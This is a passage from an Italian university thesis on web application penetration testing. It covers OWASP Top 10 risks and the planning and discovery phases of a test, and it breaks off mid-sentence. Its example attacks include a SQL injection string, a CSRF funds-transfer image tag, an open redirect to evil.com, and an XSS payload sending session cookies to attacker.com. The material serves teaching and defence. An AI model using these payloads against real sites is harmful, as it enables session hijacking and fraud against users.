Elaborato Del Prete Antonio N46001386

Transcript

Elaborato Del Prete Antonio N46001386
Scuola Politecnica e delle Scienze di Base
Corso di Laurea Specialistica in Ingegneria Informatica
Elaborato in Calcolatori Elettronici I
Analisi e Tecniche per il Penetration
Testing di Applicazioni Web
Anno Accademico 2015/2016
Candidato
Antonio Del Prete
matr. N46001386
Alla mia famiglia,
che mi ha sempre supportato, e soprattutto sopportato
A Vittorio,
che mi è vicino, sempre e comunque, nonostante la distanza, e che mi ha tenuto in caldo la
sediolina
A Giorgia,
che sa essere affettuosa come poche persone
A Luigi,
un fratello, che riesce sempre a farmi ridere e stare bene
A Salvatore,
la persona più generosa e buona che conosco
Al “dott.” Daniele,
parte di questa laurea è anche merito suo
A Giovanni e Antonio,
i migliori compagni di studio che mi sarebbero potuti capitare
A tutte le esperienze che ho vissuto,
che mi hanno fatto essere la persona che sono e sarò
II
Sommario
Analisi e Tecniche per il Penetration Testing di Applicazioni Web ..................................................... I
Sommario ................................................................................................................................... III
Introduzione ..................................................................................................................................... 4
Capitolo 1: Application Security Risks............................................................................................ 6
1.1 Injection ................................................................................................................................. 7
1.2 Broken Authentication and Session Management ................................................................. 7
1.3 Cross-Site Cripting (XSS) ..................................................................................................... 8
1.4 Insicure Direct Object References ......................................................................................... 9
1.5 Security Misconfiguration ................................................................................................... 10
1.6 Sensitive Data Exposure ...................................................................................................... 11
1.7 Missing Function Level Access Control .............................................................................. 12
1.8 Cross-Site Request Forgery (CSRF) .................................................................................... 12
1.9 Using Components with know Vulnerabilities .................................................................... 13
1.10 Unvalidated Redirects and Forwards ................................................................................. 15
Capitolo 2 : Penetration Testing .................................................................................................... 16
2.1 Planning ............................................................................................................................... 17
2.1.1 Ricerca dell’obbiettivo .................................................................................................. 17
2.1.2 Scoping Meeting ........................................................................................................... 17
2.1.3 Scope Creep .................................................................................................................. 17
2.2 Discovery ............................................................................................................................. 18
2.2.1 Information Gathering e Scanning ................................................................................ 18
2.2.2 Threat Modeling (Analisi delle Minacce) ..................................................................... 18
2.2.3 Analisi delle Vulnerabilità ............................................................................................ 20
2.3 Attack ................................................................................................................................... 21
2.3.1 Tipi di Exploits ............................................................................................................. 22
2.3.2 Contromisure................................................................................................................. 23
2.4 Reporting.............................................................................................................................. 23
2.4.1 Sintesi............................................................................................................................ 23
2.4.2 Technical Report ........................................................................................................... 24
Capitolo 3 : Simulazione di Exploit ............................................................................................... 25
3.1 Fasi Iniziali, comando « ifconfig » e comando «nmap » ..................................................... 25
3.2 Esecuzione dell’Exploit ....................................................................................................... 27
3.3 Sfruttamento dell’exploit e chiusura della sessione ............................................................. 28
Conclusioni .................................................................................................................................... 30
Bibliografia .................................................................................................................................... 31
III
Analisi e Tecniche per il Penetration Testing di Applicazioni Web
Introduzione
Nel mondo in cui viviamo, l’importanza che hanno assunto le informazioni è incredibilmente
aumentata. Di conseguenza, dati bancari, dati personali, username e password legati ad account
privati o informazioni possedute da un’azienda, proprio per il valore che hanno raggiunto,
specialmente economico, devono essere tutelati e protetti. Infatti, con l’avvento di Internet, il numero
di attacchi informatici che puntano a rubare o manomettere i dati posseduti sui vari server è
notevolmente aumentato, quindi, è veramente importante essere pronti a difendersi da questi, andando
ad aumentare la sicurezza del proprio sistema o della rete d’interesse. In questa situazione la figura
del “Penetration Tester” e, di conseguenza, del “Penetration Testing” acquisisce notevole importanza.
Difatti egli ha il compito di dover verificare, tramite degli attacchi simulati, le vulnerabilità che sono
presenti all’interno degli elementi esaminati.
Compiere un test di qualità, richiede che il tester possieda un’adeguata preparazione. Proprio per
formare figure professionali sempre più competenti, esistono organizzazioni quali, ad esempio, il
“SANS Institute”, che si occupa di organizzare numerosi corsi, aventi tutti come tema centrale la
sicurezza informatica, e ognuno di questi fornirà una certificazione finale, atta a testimoniare il livello
delle capacità acquisite. L’Open Web Application Security Project (OWASP), invece, è una open
community, che consente alle organizzazioni di sviluppare, comprare e gestire applicazioni di cui
potersi fidare. Essa fornisce tutta una serie di tool, documenti e forum, gratuiti, perché fondazione
no-profit, allo scopo di realizzare sistemi di sicurezza sempre più efficienti.
Nell’elaborato realizzato, si tratterà, nel primo capitolo, dei rischi cui si è soggetti in assenza di
adeguati sistemi di sicurezza, e si porterà un semplice esempio di uno scenario di attacco per ogni
singolo rischio che esaminato.
4
Analisi e Tecniche per il Penetration Testing di Applicazioni Web
Nel secondo capitolo, si occuperà di analizzare tutte le procedure legate al “Penetration Testing” nella
sua interezza, mostrando tutte le sue fasi, per una migliore comprensione del test in tutte le sue
sfaccettature.
Nel terzo capitolo, infine, si andrà a simulare un la fase di Exploit, tramite l’utilizzo di opportuni
strumenti.
5
Capitolo 1: Application Security Risks
Figura 1
Un attaccante può utilizzare diversi percorsi attraverso i quali poter andare ad attaccare
un’applicazione. Ognuno di questi rappresenta un rischio che può, o no, essere grave al punto da poter
attirare l’attenzione. Alcuni di questi sono facili da trovare o sfruttare, altri sono più complessi. Allo
stesso modo il danno procurato può essere maggiore o minore. Di conseguenza, per calcolare
l’effettivo pericolo che corre la mia applicazione, e di conseguenza la mia organizzazione, c’è la
necessità di dover valutare le minacce portata da ogni offensiva, attraverso l’analisi di diversi fattori
quali, ad esempio, vettori d’attacco e debolezze nel sistema di sicurezza, e combinare il tutto
considerando gli impatti tecnici e finanziari per l’azienda.
È importante evidenziare come, per questo tipo di stima, si deve compiere un ragionamento
“soggettivo”. Questo perché tutti i tipi di calcoli fatti, sono esclusivamente legati agli interessi della
compagnia in gioco.
Proprio in considerazione dell’importanza di tutti i fattori che sono stati messi in risalto, l’analisi dei
rischi che si andrà a eseguire utilizzerà un approccio schematico con l’obbiettivo di avere un quadro
completo e chiaro delle conseguenze che ogni minaccia comporta.
6
1.1 Injection
Le “Injection Flaws” come, ad esempio, le SQL Injection, si hanno quando s’inviano dati non
validi come parte di un comando, o una query, al loro interprete. Il dato può quindi ingannare
l’interprete, che andrà a eseguire comandi non previsti, o accetterà dati per i quali non si ha
l’autorizzazione.
• Agenti di Minaccia: Chiunque può inviare dati non fidati al sistema, come utenti esterni,
interni o amministratori.
• Vettori d’Attacco: L’attaccante invia del semplice testo che sfrutta la sintassi
dell’interprete. Tutte le sorgenti di dati possono essere fonti d’attacco.
• Problematiche di Sicurezza: Un’Injection si ha con un invio di dati non fidati all’interprete.
Queste debolezze sono presenti nel codice legacy, principalmente in query SQL, LDAP,
Xpath o NoSQL, o ad esempio nei comandi OS. L’Injection si può individuare tramite
un’analisi del codice. Scanner e fuzzer possono essere utili in questo processo.
• Impatti Tecnici: Può comportare perdita o corruzione di dati, mancanza di tracciabilità,
negazione d’accesso, o in alcuni casi, la perdita di controllo dell’host.
• Impatti sul Business: Dipende dal valore di business della piattaforma attaccata, e dai dati
che possono esser stati rubati, modificati o cancellati.
Esempio di Scenario di Attacco
L’applicazione utilizza dati non fidati nella costruzione della seguente chiamata SQL vulnerabile:
String
query
=
“SELECT
*
FROM
accounts
WHERE
custID=’”
+
request.getParameter(“id”) +” ’ ”;
L’attaccante modifica ‘id’ nel suo browser affinché sia inviato il valore: ‘or’1’=’1. Ad esempio:
http://example.com/app/accountView?id=’or’1’=’1.
Questo cambia il significato della quei per ottenere tutti i record della tabella ‘account’.
1.2 Broken Authentication and Session Management
Spesso le procedure applicative relative ad autenticazione e alla gestione di sessione sono
implementate in modo non corretto, consentendo agli attaccanti di compromettere password,
chiavi, token di sessione o sfruttare debolezze d’implementazione per assumere l’identità di altri
utenti.
7
• Agenti di Minaccia: Utenti esterni o sconosciuti, intenzionati a rubare account di altri,
oppure utenti interni che vogliono nascondere le loro azioni.
• Vettori di Attacco: Vengono sfruttati difetti nel sistema di gestione della sessione oppure
dell’autenticazione.
• Problematiche di Sicurezza: Spesso gli sviluppatori realizzano approcci personalizzati
nella gestione della sessione e dell’autenticazione. Questi però contengono difetti in varie
aree, come ad esempio la gestione della password o il timeout. Scoprire questi difetti
potrebbe essere complesso, poiché ogni implementazione è unica.
• Impatti Tecnici: Tali difetti consente accesso diretto verso uno o più account. In caso di
successo, l’attaccante ottiene gli stessi privilegi della vittima, quindi gli account dotati di
privilegi sono gli obiettivi più frequenti.
• Impatti sul Business: Dipende sia dal valore di business dei dati coinvolti e sia dall’impatto
sul business della divulgazione della vulnerabilità.
Esempio di Scenario di Attacco
Un timeout di sessione male impostato. L’utente usa un computer pubblico per l’accesso e invece di
fare “logo” chiude semplicemente la scheda del browser. Un attaccante che usa quel browser un’ora
dopo potrebbe trovarlo ancora autenticato.
1.3 Cross-Site Cripting (XSS)
Falle di tipo XSS avvengono quando un’applicazione web riceve dei dati, provenienti da fonti non
affidabili, e li invia a un browser senza un’opportuna validazione e/o “Estaing”. XSS consente agli
attaccanti di eseguire script malevoli sui browser delle vittime. Questi possono andare a dirottare la
sessione dell’utente, defacciare il sito web o re-indirizzare l’utente su un sito malevolo.
• Agenti di Minaccia: Chiunque possa inviare dati non validi al sistema, come utenti esterni,
interni e amministratori.
• Vettori di Attacco: S’inviano sequenze di comandi testuali per forzare l’interprete interno del
browser. Quasi tutte le sorgenti di dati possono essere vettori di attacco, anche quelle interne.
• Problematiche di sicurezza: Lo XSS è il più diffuso sistema di sicurezza nelle applicazioni
web. Questo si manifesta quando un applicativo genera una pagina con dati forniti dall’utente
senza prima di averli validati, o senza aver fatto l’escaping del contenuto. Questi difetti si
trovato tramite l’analisi e il testing del codice.
8
• Impatti Tecnici: L’attaccante può eseguire codice nel browser della vittima con lo scopo di
impadronirsi della sessione della vittima oppure vuole inserire contenuti ostili.
• Impatti sul Business: Dipende sia dal valore di business dei dati coinvolti e sia dall’impatto
sul business della divulgazione della vulnerabilità.
Esempio di Scenario di Attacco
L’applicazione in esame usa dati non controllati per costruire i seguenti snippet HTML, senza
compiere la validazione o l’escaping:
(String)
page
+=
“<input
+request.getParameter(“CC”) + “ ’>;
name
=‘creditcart’
type=‘TEXT’
value=”
L’attaccante modifica il parametro ‘CC’ nel suo browser:
‘><script>document.location=‘http://www.attacker.com/cgibin/cookie.cgi?foo=’+document.cookie</script>’.
Questo causa l’invio dell’ID di sessione appartenente alla vittima al sito web dell’attaccante,
consentendogli di dirottare su di esso la sessione corrente.
1.4 Insicure Direct Object References
Quando uno sviluppatore espone un riferimento all’implementazione interna di un oggetto, come un
file, una directory o una chiave di un database, si ha un riferimento diretto all’oggetto. Senza un
opportuno controllo degli accessi o altre protezioni, gli attaccanti possono manipolare questi
riferimenti per accedere a dati non autorizzati.
• Agenti di Minaccia: Si devono prendere in considerazione i vari tipi di utenti del sistema e
chiedersi se gli utenti hanno accesso solo parzialmente a certi tipi di dati del sistema.
• Vettori di Attacco: L’attaccante, da un utente autorizzato, cambia il valore di un parametro,
che si riferisce direttamente a un oggetto di sistema, con un altro di questo cui non è
autorizzato ad accedere.
• Problematiche di Sicurezza: Le applicazioni non sempre verificano se l’utente è autorizzato o
meno ad accedere a un oggetto. Questo comporta difetti di riferimento di accesso diretto non
sicuro agli oggetti. Per rilevare questi difetti l’analisi del codice mostra velocemente se
l’autorizzazione è verificata in modo corretto.
• Impatti Tecnici: Queste falle compromettono tutti i dati che sono referenziati da un parametro.
È facile per un attaccante accedere a tutti i dati di questo tipo, a meno di riferimenti a oggetti
non predicibili.
9
• Impatti sul Business: Dipende sia dal valore di business dei dati coinvolti e sia dall’impatto
sul business della divulgazione della vulnerabilità.
Esempio di Scenario di Attacco
L’applicazione usa dati non verificati in una chiamata SQL che accede alle informazioni di un
account:
String query = “SELECT * FROM accts WHERE account = ?”;
PreparedStatement pstmt = connection.prepareStatement(query,...);
Pstmt.setString(1, request.geParameter(“acct”));
ResultSet results = Pstmt.executeQuery();
L’attaccante modifica semplicemente il parametro ‘acct’ nel suo browser per inviare il numero di
account che desidera. Se non adeguatamente verificato, l’attaccante può accedere all’account di
qualsiasi utente, invece del solo account cliente consentito.
http://example.com/app/accountinfo?acct=notmyacct
1.5 Security Misconfiguration
Una buona sicurezza richiede un’opportuna configurazione impostata e sviluppata per applicazioni,
frame work, server applicativi, web server, database e piattaforme. Tutte le configurazioni devono
essere definite, implementate e controllate poiché le configurazioni di default non sono sempre
sicure. Inoltre, tutto il software deve essere sempre aggiornato.
• Agenti di Minaccia: Si devono considerare attaccanti anonimi esterni. Inoltre, si devono tener
presenti sia utenti con accessi autorizzati sia quelli interni. Infatti, questi possono voler
nascondere le proprie azioni.
• Vettori di Attacco: Gli attaccanti possono accedere tramite utenti di default, pagine non
utilizzate, difetti non sanati o directory non protette, per ottenere accesso e conoscenza del
sistema.
• Problematiche di Sicurezza: Errate configurazioni di sicurezza si hanno a qualsiasi livello
della pila applicativa. Di conseguenza, gli sviluppatori e gli amministratori di sistema
devono lavorare insieme per assicurare la corretta configurazione di sistema. In questa
situazione, gli scanner automatici, ad esempio, aiutano nell’individuazione di errate
configurazioni o account di default.
• Impatti Tecnici: Questi tipo di difetto può fornire all’attaccante accesso a dati di sistema o ad
alcune funzionalità. Queste debolezze portano a una totale compromissione del sistema.
10
• Impatti sul Business: Il sistema può essere compromesso senza che questo sia visibile,
infatti, tutti i dati possono essere rubati o modificati lentamente nel tempo, e il ripristino può
avere costi elevati.
Esempio di Scenario di Attacco
La visualizzazione del contenuto della directory non è disabilitata. Scoprendo ciò gli attaccanti
possono trovare qualsiasi file, e quindi, scaricarlo, decompilarlo e interpretando le classi Java,
possono ottenere il codice. Questo individua una pericolosa debolezza del controllo di accesso.
1.6 Sensitive Data Exposure
Molte applicazioni web non proteggono adeguatamente dati di grande importanza. Gli attaccanti
possono impossessarsi di questi, o approfittare dei punti deboli nelle misure di protezione per
appropriarsi delle credenziali per l’accesso. Questi dati hanno bisogno di maggior protezione. Infatti,
si possono utilizzare tecniche di crittografia per i dati in transito, oppure speciali precauzioni quando
sono scambiati con il browser.
• Agenti di Minaccia: Chiunque possa accedere a dati confidenziali e a eventuali backup degli
stessi.
• Vettori di Attacco: Un utente malevolo punta a rubare le chiavi crittografiche, intercetta i dati
in transito o direttamente dal browser dell’utente.
• Problematiche di Sicurezza: L’errore più comune che si può commettere è utilizzare chiavi
non cifrate. Altri tipi di errori sono: l’utilizzo di chiavi poco robuste, algoritmi e tecniche di
hashing deboli. È importante notare che le vulnerabilità lato server sono molto difficili da
rilevare, a causa dell’accesso limitato, e inoltre difficili da sfruttare.
• Impatti Tecnici: Le vulnerabilità compromettono dati di grande importanza che devono essere
protetti.
• Impatti sul Business: Dipende dal valore di business dei dati persi e dalle responsabilità legali
che sono inerenti alla gestione dei dati.
Esempio di Scenario di Attacco
Un’applicazione web cifra i numeri di carta di credito utilizzando il sistema di cifratura automatico
di un database, quindi i dati sono automaticamente decifrati quando sono letti. Sfruttando una SQL
injection, di conseguenza, un attaccante riesce a recuperare i numeri di carta di credito in chiaro.
11
1.7 Missing Function Level Access Control
Molte applicazioni verificano il livello dei diritti di accesso prima che la relativa funzionalità sia
resa visibile nell’interfaccia utente. Tuttavia, le applicazioni devono eseguire il controllo degli
accessi al server ogni volta che la funzionalità è acceduta. Se le richieste di accesso non sono
verificate, gli attaccanti possono falsificarle per accedere senza autorizzazione alle funzionalità.
• Agenti di Minaccia: Chiunque, con accesso alla rete, possa inviare richieste
all’applicazione.
• Vettori di Attacco: Un attaccante, un utente registrato, ad esempio, può ottenere l’accesso
cambiando l’URL o un parametro di una funzione privilegiata. Oppure un utente anonimo
potrebbe accedere a funzioni private non protette.
• Problematiche di Sicurezza: Le funzionalità delle applicazioni potrebbero non essere
protette come dovrebbero, infatti, ci potrebbero essere problematiche nella configurazione
dell’accesso a delle funzionalità, oppure gli sviluppatori dovrebbero includere controlli
nel codice e se ne dimenticano.
• Impatti Tecnici: Queste vulnerabilità consente l’accesso non autorizzato alle funzionalità.
Le più attaccate sono quelle amministrative.
• Impatti sul Business: Bisogna considerare il valore di business delle funzionalità esposte
e dei dati usati, inoltre bisogna tenere conto anche dell’impatto sulla reputazione se la
vulnerabilità diventa pubblica.
Esempio di Scenario di Attacco
Per accedere a “getappInfo” bisogna essere autenticati. Per accedere a “admin getappInfo” bisogna
essere autenticati e avere privilegi amministrativi. Pertanto se un attaccante richiama gli URL:
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Se riescono ad accedere a entrambe le funzionalità, come utente anonimo, è presente la vulnerabilità.
Se accede in modo autenticato al secondo, ma non come amministratore, la vulnerabilità è presente e
potrebbe fornire all’attaccante l’accesso a nuove pagine amministrative protette in modo scorretto.
1.8 Cross-Site Request Forgery (CSRF)
Un attacco CSRF forza il browser della vittima a inviare una richiesta http opportunamente forgiata,
includendo i cookie di sessione della vittima e ogni altra informazione di autenticazione, a
12
un’applicazione web vulnerabile. Questo permette all’attaccante di forzare il browser della vittima a
generare richieste che l’applicazione vulnerabile crederà inviate alla vittima.
• Agenti di Minaccia: Sarà chiunque può caricare contenuti all’interno del browser degli utenti.
Un qualsiasi sito o altri feed HTML cui gli utenti accedono.
• Vettori di Attacco: L’attaccante forgia delle richieste HTTP e spinge una vittima a inviarle
tramite tag image, XSS o altre tecniche. Se l’utente è autenticato, ha successo.
• Problematiche di Sicurezza: Il CSRF approfitta del fatto che la maggior parte delle
applicazioni consente agli attaccanti di essere a conoscenza di tutti i dettagli di una particolare
azione. Poiché i browser inviano le credenziali automaticamente, l’attaccante può creare delle
pagine web malevoli per generare delle richieste forgiate, impossibili da distinguere da quelle
lecite.
• Impatti Tecnici: Gli attaccanti spingono la vittima a eseguire un qualsiasi cambio di stato se la
vittima è autorizzata a farlo.
• Impatti sul Business: Dipende dal valore di business dei dati o delle funzionalità applicative
colpite, inoltre bisogna considerare l’impatto sulla reputazione che un attacco del genere
comporterebbe.
Esempio di Scenario di Attacco
L’applicazione permette all’utente di inviare una richiesta che cambia lo stato dell’applicazione senza
includere nulla di segreto:
http://example.com/app/transferFunds?amunt=1500&destinationAccount=4673243243
Così l’attaccante crea una richiesta che trasferisce dei soldi dall’account della vittima al suo e include
questa richiesta in un’immagine o in un frame memorizzato su vari siti sotto il suo controllo:
<img
src=
http://example.com/app/transferFunds?amout=1500&destinationAccount=attackersAcct#”wi
dth= “0” height=”0”/>
Se la vittima visita uno dei siti controllati dall’attaccante quando è autenticato su example.com, la
richiesta forgiata sarà automaticamente eseguita includendo le informazioni di sessione dell’utente,
autorizzando la richiesta dell’attaccante.
1.9 Using Components with know Vulnerabilities
Elementi quali librerie, freme work e altri moduli software sono spesso eseguiti con i privilegi
più alti. Sfruttando un elemento vulnerabile, un attaccante potrebbe ottenere dei dati o accedere
13
al server. Le applicazioni che utilizzano parti con vulnerabilità note possono minare le loro
difese agevolando molte tipologie di attacco con impatti notevoli.
• Agenti di Minaccia: Gli elementi vulnerabili come librerie di frame work, possono essere
identificati e sfruttati con tool automatici. Ciò espande gli agenti di minaccia includendo,
oltre agli attacchi mirati anche quelli caotici.
• Vettori di Attacco: L’attaccante identifica, tramite scanner o manualmente, una parte
vulnerabile. Personalizza l’exploit ed esegue l’attacco. Se il componente è integrato, si
complica il tutto.
• Problematiche di Sicurezza: In teoria, ogni applicazione può presentare questo problema
perché i team di sviluppo non si focalizzano sull’assicurarsi che i propri elementi o
librerie siano aggiornati. Spesso gli sviluppatori non conoscono nemmeno tutto quello
che utilizzano e la loro versione, inoltre la dipendenza tra i vari elementi peggiora
ulteriormente la situazione.
• Impatti Tecnici: L’intera gamma di problematiche è possibile come Injection o XSS.
L’impatto varia da parziale a completa compromissione degli host e dei dati.
• Impatti sul Business: Dipende da ciò che la singola vulnerabilità potrebbe significare per
il business controllato dall’applicazione. Infatti, potrebbe essere insignificante o oppure
rappresentare una completa compromissione.
Esempio di Scenario di Attacco
Le vulnerabilità di questi elementi possono causare qualunque tipo di rischio immaginabile. Poiché
sono eseguiti di solito con i privilegi dell’applicazione, ogni difetto presente potrebbe rivelarsi
serio. Ad esempio i seguenti componenti sono stati scaricati ventidue volte nel 2011:
• Apache CXF Authentication Bypass – Fallendo nel fornire indentity token, gli attaccanti
possono invocare qualsiasi servizio web con pieni privilegi.
• Spring Remote Code Execution – Abusare dell’implementazione dell’Expression Language
in Spring permette agli attaccanti di eseguire codice arbitrario, prendendo il controllo del
server.
Le applicazioni che fanno uso di queste librerie sono vulnerabili poiché entrambi i componenti sono
direttamente accessibili dagli utenti dell’applicazione. Altre librerie vulnerabili, usate a livelli più
bassi dell’applicazione, potrebbero essere più difficili da sfruttare.
14
1.10 Unvalidated Redirects and Forwards
Le applicazioni web spesso reindirizzano (redirect) o inoltrano (forward) gli utenti verso altre
pagine o siti e usano dati non validati per determinare le pagine di destinazione. Senza
un’opportuna validazione, gli attaccanti possono re-indirizzare le vittime verso siti di phising o
di malware o utilizzare il forward per accedere a pagine non autorizzate.
• Agenti di Minaccia: Chiunque possa forzare gli utenti a creare richieste verso il sito,
come ad esempio altri siti, oppure codici HTML.
• Vettori di Attacco: L’attaccante forza l’utente a cliccare su un link con un redirect non
valido. Le vittime sono propense a cliccare sul collegamento, perché appartenente a un
sito valido. L’attaccante punta ai forward insicuri per bypassare i controlli di sicurezza.
• Problematiche di sicurezza: Spesso le applicazioni reindirizzano gli utenti verso altre
pagine o usano forward interni. A volte la destinazione è specificata in un parametro non
validato che permette agli attaccanti di scegliere arbitrariamente la pagina di
destinazione. Rilevare redirect non controllati è semplice. È sufficiente cercarli dove si
può impostare l’URL completo. I forward sono più complessi da trovare perché puntano
a pagine interne.
• Impatti Tecnici: I redirect possono installare malware o chidere agli utenti credenziali o
altre informazioni sensibili. I forward non sicuri possono permettere di aggirare i
controlli d’accesso.
• Impatti sul Business: Si deve considerare come valore di business la fiducia degli utenti,
infatti, questa verrebbe meno se fossero infettati da malware oppure se gli attaccanti
riuscissero ad accedere a funzioni destinate solo a uso interno.
Esempio di Scenario di Attacco
L’applicazione ha una pagina chiamata ‘redirect.jsp’ che riceve un singolo parametro ‘url’.
L’attaccante crea un URL malevolo che reindirizza gli utenti verso un sito malevolo che compie
phishing e installa malware:
http://www.example.com/redirect.jsp?url=evil.com
15
Capitolo 2 : Penetration Testing
Dopo aver analizzato, nel capitolo precedente, le minacce cui si può essere esposti in caso di
vulnerabilità, si analizzerà, ora, l’elemento centrale della nostra trattazione: Il “Penetration Testing”.
Il Penetration Testing è un test di sicurezza nel quale, l’esecutore mima attacchi reali per identificare
modi per aggirare la sicurezza di un sistema, di un’applicazione o di una rete. Queste offensive sono
portare tramite l’uso degli stessi tool e tecniche che userebbero gli attaccanti. Sostanzialmente esso
può andare a determinare, ad esempio, quanto bene un sistema può reggere ad attacchi, oppure quanto
complicati devono essere gli attacchi per danneggiare il sistema, e di conseguenza capire il livello di
complessità che devono possedere le difese. Gli stessi tester, portando attacchi per testare i sistemi di
sicurezza, se non prestano la dovuta attenzione, potrebbero creare dei danni, anche molto seri, al
soggetto della loro analisi, quindi si evince chiaramente che si tratta di un processo molto delicato,
che richiede notevole attenzione, preparazione ed elevate competenze, perché se così non fosse, i
danni provocati potrebbero avere implicazioni molto gravi.
Figura 2
16
Il Penetration Test è composto di quattro fasi. Nella fase di “Planning”, ci sarà un colloquio iniziale,
tra “Pentester” e cliente, dove sono stabilite le regole che saranno seguite nel corso del test, insieme
agli obiettivi che si vogliono raggiungere. Tutto ciò, sarà inserito in un documento approvato dal
cliente. La fase di “Discovery” può essere divisa in due parti. Nella prima si raccoglieranno
informazioni e si eseguirà lo scanning per identificare potenziali obiettivi, nella seconda ci sarà
l’analisi delle vulnerabilità. La fase di “Attack” è il cuore di tutto il processo, infatti, si controlleranno
le vulnerabilità trovate in precedenza, andando a fare “Exploit”. Infine nella fase di “Reporting” si
scriverà un documento che riassumerà tutto ciò che è stato visto, analizzato e riscontrato in tutto l’arco
del test, che sarà presentato ai clienti.
Si analizzeranno, ora, più nel dettaglio tutte le fasi che abbiamo accennato.
2.1 Planning
2.1.1 Ricerca dell’obbiettivo
Il primo e più importante obbiettivo che questa fase raggiungere, è quello di stabilire uno scopo, in
altre parole un obbiettivo finale da voler raggiungere tramite il test. Sottovalutare questo passaggio è
molto pericoloso, infatti, potrebbe creare notevoli problemi nel procedere dell’analisi. Non è insolito
che i tester siano ingaggiati da clienti, che sono inconsapevoli di cosa vogliano che gli sia esaminato.
Perciò è importante che il tester aiuti il cliente, a capire cosa vuole ottenere, tramite l’ausilio di un
questionario, composto di una serie di domande che aiutano, entrambe le parti in causa, a ottenere
una migliore comprensione del problema.
2.1.2 Scoping Meeting
Avere incontri per discutere su quali devono essere gli elementi da testare, è molto utile per voler
realizzare un test ancora più efficiente. È importante che in questo meeting ci sia un moderatore che
si occupi di non far andare la discussione fuori tema.
2.1.3 Scope Creep
Uno dei problemi più frequenti che si possono incontrare è detto “Scope Creep”, in altre parole, una
crescita incontrollata del perimetro d’azione del test. Infatti, l’aggiunta di nuovi obiettivi, senza che
ci sia una dovuta attenzione, può essere il principale motivo di fallimento, poiché si è perso di vista
quello che è lo scopo finale che si deve raggiungere. Un elemento che ci consente di combattere
questo fenomeno è la definizione precisa e rigorosa della data d’inizio e fine test. Infatti, non
potendo sforare sui tempi di consegna, a causa di motivi contrattuali ed economici, si è costretti a
focalizzare l’attenzione su quello che è il reale obbiettivo del test.
17
2.2 Discovery
2.2.1 Information Gathering e Scanning
È un processo tramite il quale si raccolgono più informazioni possibili su un obbiettivo, affinché
possano essere utilizzate a proprio vantaggio nelle fasi successive del test. Ci sono vari metodi per
ottenere le informazioni desiderate: il “Network Port” e il “Service Identification” sono tra questi.
Essi sfruttano dei port scanner al fine di identificare le porte delle reti, i servizi che operano su queste,
e le applicazioni che stanno eseguendo i servizi identificati. Questa tipologia di ricerca d’informazioni
è eseguita al fine di identificare gli host e i punti potenzialmente deboli dei servizi.
Altre tecniche usate per questo tipo di ricerca sono:
•Host name and IP address information: Si possono ottenere in molti modi, come
un’interrogazione DNS, un InterNIC (WHOIS) queries, e tramite internet sniffing.
•Nomi dei dipendenti e informazioni sui contatti: Sono ottenibili compiendo ricerche sui
server Web dell’organizzazione.
•System information: Si possono trovare tramite metodi come “NetBIOS enumeration” e
“Network Information System”.
2.2.2 Threat Modeling (Analisi delle Minacce)
Venire a conoscenza di un gran numero d’informazioni sul sistema che si sta analizzando, consentirà
di avere una conoscenza molto ampia su di esso. Le risorse sono i principali obiettivi degli attacchi,
quindi si deve capire che minacce possono esserci, in relazione all’entità che li andrà ad attaccare.
Analizzare ciò è lo scopo del “Threat Modeling” ovvero l’analisi delle minacce. Per analizzare gli
“assets”, in altre parole le risorse, faremo una distinzione tra “business assets” e “business process”,
mentre per gli attaccanti si faranno considerazioni secondo le minacce che portano e quanto
potenzialmente possono essere dannose.
La fase di Threat Modeling è un passaggio molto critico in un Penetration Test, sia per il tester sia
per l’organizzazione che richieste il test. Questo perché si capisce, con maggior chiarezza quelli che
sono i reali rischi cui si è soggetti, e di conseguenza si capisce con che priorità andarli ad affrontare.
Tutto quello che è analizzato, deve essere documentato, inviato e incluso nel report finale da
consegnare al cliente.
18
Analisi del Business Asset
Quando si fa l’analisi del “Business Asset”, ci concentriamo sulle risorse e sui processi di business
che le supportano. Dall’analisi di questi elementi, il tester deve essere in grado di identificare quali
risorse sarebbero più soggette a un possibile attacco, valutandone anche le conseguenze che ci
sarebbero se fossero perse. Di seguito si analizzeranno alcune categorie, per far meglio comprendere
di che tipo d’informazioni si tratta.
Dati Organizzativi
Politiche, Programmi e Procedure: Definiscono come una società fa business. Questi documenti
sono di particolare interesse poiché identificano sia gli elementi chiave, sia i processi critici che
consentono lo sviluppo e il successo di una società.
Informazioni sul Prodotto: Questa categoria di dati include tutto quello che riguarda brevetti, segreti
commerciali, progetti e qualsiasi altro tipo d’informazione chiave riguardante la società e i loro
processi di business.
Informazioni Finanziarie: I dati finanziari sono spesso i più sensibili e, di conseguenza, i più tutelati
da una società. Infatti, possiamo includere in questo gruppo, ad esempio, informazioni bancarie
oppure quelle sulle carte di credito.
Dati dei Dipendenti: Dobbiamo considerare le informazioni sui dipendenti di una società alla pari di
qualsiasi altro dato posseduto dalla società, difatti, se questi sono considerati importanti, al punto che
una loro eventuale perdita creerebbe dei danni, allora si devono ritenere possibili bersagli per
eventuali attacchi.
Dati dei Clienti: Ancora più che dei dati dei dipendenti, quelli riguardanti i clienti hanno
un’importanza ancora maggiore. Infatti, la loro perdita, per una società, avrebbe conseguenze ancora
maggiori, poiché questa sarebbe ritenuta responsabile, e ciò andrebbe a influire non poco sul giudizio
che si ha di essa. Senza considerare le implicazioni legali che la perdita dei suddetti dati potrebbe
avere.
Capitale Umano: Quando si parla di capitale umano, si deve tener presente che spesso esso gioca un
ruolo chiave nel compromettere la società. Infatti, i dipendenti potrebbero essere i primi a capire
l’importanza di certe informazioni in possesso dell’azienda, e conseguentemente, potrebbero agire
con lo scopo di procurarle danno, manomettendoli, rendendoli vulnerabili o compromettendoli. I
primi da includere in questa categoria sono i dipendenti in possesso di autorizzazione per accedere a
informazioni di rilievo.
Analisi dei Processi di Business
Lo scopo principale in questa fase è fare una distinzione tra quelli che sono i processi critici da quelli
non critici e trovare gli eventuali difetti. Dopo di questo, si avrà una comprensione più profonda di
19
cosa consente alla società di avere dei ricavi. Nella categoria dei processi critici è giusto annoverare
le “Tecniche dei Processi alle Infrastrutture di Supporto”, le “Attività di elaborazione d’informazioni
di Supporto” e i “Processi di Supporto del Capitale Umano”.
Analisi dei “Threat Agent” (Agenti di Minaccia)
Quando si vanno a definire le minacce cui si è esposti, si deve capire se queste provengono
dall’interno, oppure, dall’esterno dell’azienda. Si devono poi accompagnare queste informazioni con
qualsiasi tipo di notizia possa aiutare a capire il motivo che spingerebbe quel determinato agente ad
attaccare delle determinate risorse. Alcune minacce interne potrebbero essere: dipendenti,
amministratori, sviluppatori oppure membri del management. Invece quelle esterne potrebbero
